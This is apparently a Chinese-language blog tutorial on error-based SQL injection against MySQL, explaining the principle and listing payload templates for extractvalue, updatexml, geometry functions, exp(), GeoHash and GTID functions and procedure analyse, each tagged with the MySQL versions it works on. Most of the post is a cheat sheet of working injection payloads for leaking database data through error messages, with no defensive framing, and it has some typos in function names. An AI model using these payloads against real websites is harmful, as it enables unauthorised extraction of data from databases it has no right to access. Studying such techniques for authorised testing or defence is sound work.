本文已参与 ⌈新人创作礼⌋ 活动,一起开启掘金创作之路。
🏆今日学习目标: 🍀学会报错注入 ✅创作者:贤鱼
@TOC
原理
利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中 sql查询的星系会被报错语句返回到界面上
注入
extractvalue
extractvale(MXL_document,xpath_string);
第一个参数为xml字符串 第二个参数为xpath格式字符串
作用,从xml中返回包含查询字符串
==注意!== 查询时用group_concat或者limit 记得用substr函数进行截取,extractvalue报错信息最多32个字符
后面的程序和上文union注入差不多,如有需要可以查看
双查询注入
上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
用limit将结果一行一行爆出
双列名查询
join: 用于将两个表连接
在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入
报错函数
extractvalue(XML_document,XPath_string);
xml这两个函数报错时,会忽略掉第一个字符若,其后字符 与它连续且相同,也会被忽略 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为Doc 第二个 参数:XPath_string (Xpath格式的字符串). 作用:从目标 XML中返回包含所查询值的字符串 (>=5.1.5) updatexml(1,concat(0x282b,(QUERY),0x292b),1)
updatexml(XML_document,XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对 象的名称,文中为Doc 第二个参数:XPath_string (Xpath格 式的字符串)。 第三个参数:new_value,String格式,替换 查找到的符合条件的数据 (>=5.1.5) extractvalue(1,concat(0x282b,(QUERY),0x292b))
geometrycollection()
geometrycollection((select * from(select * from(select user())a)b));(5.1>=version<=5.5.48 )
multipoint()
multipoint((select * from(select user())b)); (5.1>=version<=5.5.48 )
polygon()
select polygon((select * from(select * from(select user())a)b));(5.1>=version<=5.5.48 )
multipolygon()
multipolygon((select * from(select * from(select user())a)b));(5.1>=version<=5.5.48 )
linestring()
linestring((select * from(select * from(select user())a)b)); (5.1>=version<=5.5.48 )
multilinestring()
multilinestring((select * from(select * from(select user())a)b));(5.1>=version<=5.5.48 )
exp()
exp(~(select * from(select user())a)); (5.1>=version<=5.5.48 )
ST_LatFromGeoHash()
select ST_LatFromGeoHash(user());(>=5.7)
ST_LongFromGeoHash()
select ST_LongFromGeoHash(user());(*>=5.7)
GTID_SUBSET()
select GTID_SUBSET(user(),1);(*>=5.7)
GTID_SUBTRACT()
select GTID_SUBTRACT(user(),1);(*>=5.7)
ST_PointFromGeoHash()
select ST_PointFromGeoHash(user(),1);(*>=5.7)
procedure analyse()
procedure analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句 末尾,(*<=5.6.17)